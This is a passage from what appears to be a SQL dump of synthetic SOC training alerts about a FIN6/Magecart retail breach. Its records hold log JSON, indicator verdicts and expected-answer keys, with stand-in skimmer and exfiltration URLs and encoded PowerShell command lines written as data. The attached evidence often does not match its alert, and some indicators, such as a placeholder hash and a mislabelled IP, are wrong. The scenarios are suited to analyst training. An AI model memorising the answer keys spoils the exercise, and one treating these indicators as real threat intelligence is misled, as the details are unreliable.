detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:54Z\\\",\\\"event_id\\\":\\\"js_exec_001\\\",\\\"script_url\\\":\\\"http://malicious-domain.com/skimmer.js\\\",\\\"executed_by_ip\\\":\\\"192.168.1.101\\\",\\\"exfiltration_url\\\":\\\"http://attacker-site.com/cc_capture\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"script_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\\\",\\\"filename\\\":\\\"skimmer.js\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:54Z\\\",\\\"event_id\\\":\\\"js_exec_001\\\",\\\"script_url\\\":\\\"http://malicious-domain.com/skimmer.js\\\",\\\"executed_by_ip\\\":\\\"192.168.1.101\\\",\\\"exfiltration_url\\\":\\\"http://attacker-site.com/cc_capture\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"script_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\\\",\\\"filename\\\":\\\"skimmer.js\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:54Z\\\",\\\"event_id\\\":\\\"js_exec_001\\\",\\\"script_url\\\":\\\"http://malicious-domain.com/skimmer.js\\\",\\\"executed_by_ip\\\":\\\"192.168.1.101\\\",\\\"exfiltration_url\\\":\\\"http://attacker-site.com/cc_capture\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"script_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\\\",\\\"filename\\\":\\\"skimmer.js\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:54Z\\\",\\\"event_id\\\":\\\"js_exec_001\\\",\\\"script_url\\\":\\\"http://malicious-domain.com/skimmer.js\\\",\\\"executed_by_ip\\\":\\\"192.168.1.101\\\",\\\"exfiltration_url\\\":\\\"http://attacker-site.com/cc_capture\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"script_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\\\",\\\"filename\\\":\\\"skimmer.js\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:54Z\\\",\\\"event_id\\\":\\\"js_exec_001\\\",\\\"script_url\\\":\\\"http://malicious-domain.com/skimmer.js\\\",\\\"executed_by_ip\\\":\\\"192.168.1.101\\\",\\\"exfiltration_url\\\":\\\"http://attacker-site.com/cc_capture\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"script_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\\\",\\\"filename\\\":\\\"skimmer.js\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(457, 'Data Exfiltration to Drop Server', 'high', 'Network Traffic Analysis', 'The network traffic analysis has detected an unauthorized data transfer from the compromised internal server to an external drop server associated with Magecart. The data transferred includes payment information extracted from the internal server. The traffic was observed from internal IP 192.168.10.15 to external IP 203.0.113.45, with the data being exported in a compressed file named \'payments_exfil.zip\'. The hash of the exfiltrated file is 9e107d9d372bb6826bd81d3542a419d6.', 'Data Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"source_ip\":\"192.168.10.15\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"file_name\":\"payments_exfil.zip\",\"file_hash\":\"9e107d9d372bb6826bd81d3542a419d6\",\"user\":\"websrv_user\",\"action\":\"transfer\",\"status\":\"completed\"}', '2026-01-05 00:07:01', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"External IP associated with Magecart drop servers.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"payments_exfil.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename used for exfiltrated payment data.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known exfiltrated data files.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(458, 'Suspicious Vendor Login Detected', 'high', 'SIEM Logs', 'An unauthorized login attempt was detected using compromised credentials from a trusted vendor. The attacker used these credentials to gain initial access to the retail giant\'s POS network.', 'Initial Access', 'T1078.001 - Valid Accounts: Default Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:20:30Z\",\"event_id\":\"4567\",\"event_type\":\"login_attempt\",\"username\":\"vendor_john_doe\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"login_status\":\"success\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\",\"network_domain\":\"pos_network\",\"hash\":\"3b3e8f557c3c4e3b2e8e9f0b8b4e9f5d\",\"file_name\":\"pos_access_script.exe\"}', '2026-01-05 00:10:13', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"vendor_john_doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"suspicious\",\"details\":\"The username is associated with a trusted vendor but was used from an unusual location.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"The IP address is linked to multiple unauthorized access attempts.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3b3e8f557c3c4e3b2e8e9f0b8b4e9f5d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"The hash corresponds to a known malware used in recent attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"pos_access_script.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"The filename is consistent with scripts used in previous breaches.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.068Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:20:30Z\\\",\\\"event_id\\\":\\\"4567\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"username\\\":\\\"vendor_john_doe\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"login_status\\\":\\\"success\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"network_domain\\\":\\\"pos_network\\\",\\\"hash\\\":\\\"3b3e8f557c3c4e3b2e8e9f0b8b4e9f5d\\\",\\\"file_name\\\":\\\"pos_access_script.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.068Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:20:30Z\\\",\\\"event_id\\\":\\\"4567\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"username\\\":\\\"vendor_john_doe\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"login_status\\\":\\\"success\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"network_domain\\\":\\\"pos_network\\\",\\\"hash\\\":\\\"3b3e8f557c3c4e3b2e8e9f0b8b4e9f5d\\\",\\\"file_name\\\":\\\"pos_access_script.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.068Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:20:30Z\\\",\\\"event_id\\\":\\\"4567\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"username\\\":\\\"vendor_john_doe\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"login_status\\\":\\\"success\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"network_domain\\\":\\\"pos_network\\\",\\\"hash\\\":\\\"3b3e8f557c3c4e3b2e8e9f0b8b4e9f5d\\\",\\\"file_name\\\":\\\"pos_access_script.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.068Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:20:30Z\\\",\\\"event_id\\\":\\\"4567\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"username\\\":\\\"vendor_john_doe\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"login_status\\\":\\\"success\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"network_domain\\\":\\\"pos_network\\\",\\\"hash\\\":\\\"3b3e8f557c3c4e3b2e8e9f0b8b4e9f5d\\\",\\\"file_name\\\":\\\"pos_access_script.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.068Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:20:30Z\\\",\\\"event_id\\\":\\\"4567\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"username\\\":\\\"vendor_john_doe\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"login_status\\\":\\\"success\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"network_domain\\\":\\\"pos_network\\\",\\\"hash\\\":\\\"3b3e8f557c3c4e3b2e8e9f0b8b4e9f5d\\\",\\\"file_name\\\":\\\"pos_access_script.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(459, 'Trinity Malware Deployment on POS Systems', 'high', 'Endpoint Detection and Response (EDR)', 'FIN6 has deployed Trinity malware on several Point-of-Sale (POS) systems, targeting RAM to scrape unencrypted credit card data.', 'Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T14:22:45Z\",\"event_id\":\"4624\",\"computer_name\":\"POS-Server-22\",\"user\":\"svc-posadmin\",\"source_ip\":\"185.23.45.67\",\"internal_ip\":\"192.168.1.105\",\"process_name\":\"powershell.exe\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\pos_trinity.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"event_description\":\"Execution of suspicious binary linked to Trinity malware on POS system.\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Windows\\\\System32\\\\pos_trinity.exe\"}', '2026-01-05 00:10:13', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.23.45.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known FIN6 command and control servers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local POS system IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Trinity malware sample.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"pos_trinity.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Filename identified as Trinity malware targeting POS systems.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"svc-posadmin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Service account used in anomalous execution.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(460, 'Establishing Persistent Access', 'high', 'Network Traffic Analysis', 'The attacker has set up a persistent backdoor on the POS network, ensuring they can regain access even if initial malware installations are removed. Network traffic analysis revealed unauthorized communication from an internal host to a known malicious IP, indicating the presence of a backdoor.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"src_ip\":\"192.168.1.45\",\"dest_ip\":\"203.0.113.25\",\"protocol\":\"TCP\",\"port\":\"4444\",\"action\":\"allowed\",\"user\":\"john_doe\",\"process_name\":\"backdoor_service.exe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"malware_family\":\"APT_Backdoor\",\"event_id\":\"1002\",\"message\":\"Outbound connection to known malicious IP detected from internal host.\"}', '2026-01-05 00:10:13', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT_Backdoor malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"backdoor_service.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"File used to establish persistent access by creating unauthorized external connections.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(461, 'Unauthorized Lateral Movement Detected', 'high', 'Anomaly Detection Systems', 'An unauthorized lateral movement has been detected involving compromised credentials and malware. The attacker, identified as FIN6, is attempting to move laterally through the network, targeting point-of-sale (POS) systems and databases. The activity involves the use of specific malware and compromised user accounts.', 'Lateral Movement', 'T1071.001 - Application Layer Protocol: Web Protocols', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:45:00Z\",\"src_ip\":\"195.22.26.189\",\"dest_ip\":\"192.168.1.15\",\"src_user\":\"j.doe\",\"compromised_credential\":true,\"malware_hash\":\"3b2e890d4f1a4e6d8a7c1f2b3e4d5c6f\",\"malware_filename\":\"pos_grabber.exe\",\"activity\":{\"description\":\"Lateral movement attempt using compromised credentials\",\"target_system\":\"POS server\",\"method\":\"SMB protocol over port 445\"}}', '2026-01-05 00:10:13', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"195.22.26.189\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with FIN6 operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Inventory\",\"verdict\":\"internal\",\"details\":\"Internal POS server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User account flagged for unusual activity\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3b2e890d4f1a4e6d8a7c1f2b3e4d5c6f\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Database\",\"verdict\":\"malicious\",\"details\":\"Known hash of malware used by FIN6\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"pos_grabber.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Executable associated with POS system attacks\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.071Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:00Z\\\",\\\"src_ip\\\":\\\"195.22.26.189\\\",\\\"dest_ip\\\":\\\"192.168.1.15\\\",\\\"src_user\\\":\\\"j.doe\\\",\\\"compromised_credential\\\":true,\\\"malware_hash\\\":\\\"3b2e890d4f1a4e6d8a7c1f2b3e4d5c6f\\\",\\\"malware_filename\\\":\\\"pos_grabber.exe\\\",\\\"activity\\\":{\\\"description\\\":\\\"Lateral movement attempt using compromised credentials\\\",\\\"target_system\\\":\\\"POS server\\\",\\\"method\\\":\\\"SMB protocol over port 445\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:19.071Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:00Z\\\",\\\"src_ip\\\":\\\"195.22.26.189\\\",\\\"dest_ip\\\":\\\"192.168.1.15\\\",\\\"src_user\\\":\\\"j.doe\\\",\\\"compromised_credential\\\":true,\\\"malware_hash\\\":\\\"3b2e890d4f1a4e6d8a7c1f2b3e4d5c6f\\\",\\\"malware_filename\\\":\\\"pos_grabber.exe\\\",\\\"activity\\\":{\\\"description\\\":\\\"Lateral movement attempt using compromised credentials\\\",\\\"target_system\\\":\\\"POS server\\\",\\\"method\\\":\\\"SMB protocol over port 445\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:19.071Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:00Z\\\",\\\"src_ip\\\":\\\"195.22.26.189\\\",\\\"dest_ip\\\":\\\"192.168.1.15\\\",\\\"src_user\\\":\\\"j.doe\\\",\\\"compromised_credential\\\":true,\\\"malware_hash\\\":\\\"3b2e890d4f1a4e6d8a7c1f2b3e4d5c6f\\\",\\\"malware_filename\\\":\\\"pos_grabber.exe\\\",\\\"activity\\\":{\\\"description\\\":\\\"Lateral movement attempt using compromised credentials\\\",\\\"target_system\\\":\\\"POS server\\\",\\\"method\\\":\\\"SMB protocol over port 445\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:19.071Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:00Z\\\",\\\"src_ip\\\":\\\"195.22.26.189\\\",\\\"dest_ip\\\":\\\"192.168.1.15\\\",\\\"src_user\\\":\\\"j.doe\\\",\\\"compromised_credential\\\":true,\\\"malware_hash\\\":\\\"3b2e890d4f1a4e6d8a7c1f2b3e4d5c6f\\\",\\\"malware_filename\\\":\\\"pos_grabber.exe\\\",\\\"activity\\\":{\\\"description\\\":\\\"Lateral movement attempt using compromised credentials\\\",\\\"target_system\\\":\\\"POS server\\\",\\\"method\\\":\\\"SMB protocol over port 445\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:19.071Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:00Z\\\",\\\"src_ip\\\":\\\"195.22.26.189\\\",\\\"dest_ip\\\":\\\"192.168.1.15\\\",\\\"src_user\\\":\\\"j.doe\\\",\\\"compromised_credential\\\":true,\\\"malware_hash\\\":\\\"3b2e890d4f1a4e6d8a7c1f2b3e4d5c6f\\\",\\\"malware_filename\\\":\\\"pos_grabber.exe\\\",\\\"activity\\\":{\\\"description\\\":\\\"Lateral movement attempt using compromised credentials\\\",\\\"target_system\\\":\\\"POS server\\\",\\\"method\\\":\\\"SMB protocol over port 445\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(462, 'Exfiltration of Credit Card Data', 'high', 'Data Loss Prevention (DLP) Tools', 'FIN6 has initiated the exfiltration of previously scraped credit card data to an external server, marking the completion of their primary objective in this attack cycle.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:05Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.0.3.15\",\"destination_ip\":\"185.199.108.153\",\"destination_domain\":\"malicious-server.com\",\"protocol\":\"HTTPS\",\"file_name\":\"cc_data_dump.zip\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"user\":\"john.doe\",\"alert_trigger\":\"DLP: Credit Card Data Exfiltration Detected\",\"data_volume\":\"25MB\",\"process_name\":\"python.exe\",\"process_id\":4567}', '2026-01-05 00:10:13', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known exfiltration activities by FIN6.\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"malicious-server.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Domain frequently used by FIN6 for data exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"cc_data_dump.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"Local DLP Database\",\"verdict\":\"suspicious\",\"details\":\"File matches pattern for exfiltration data 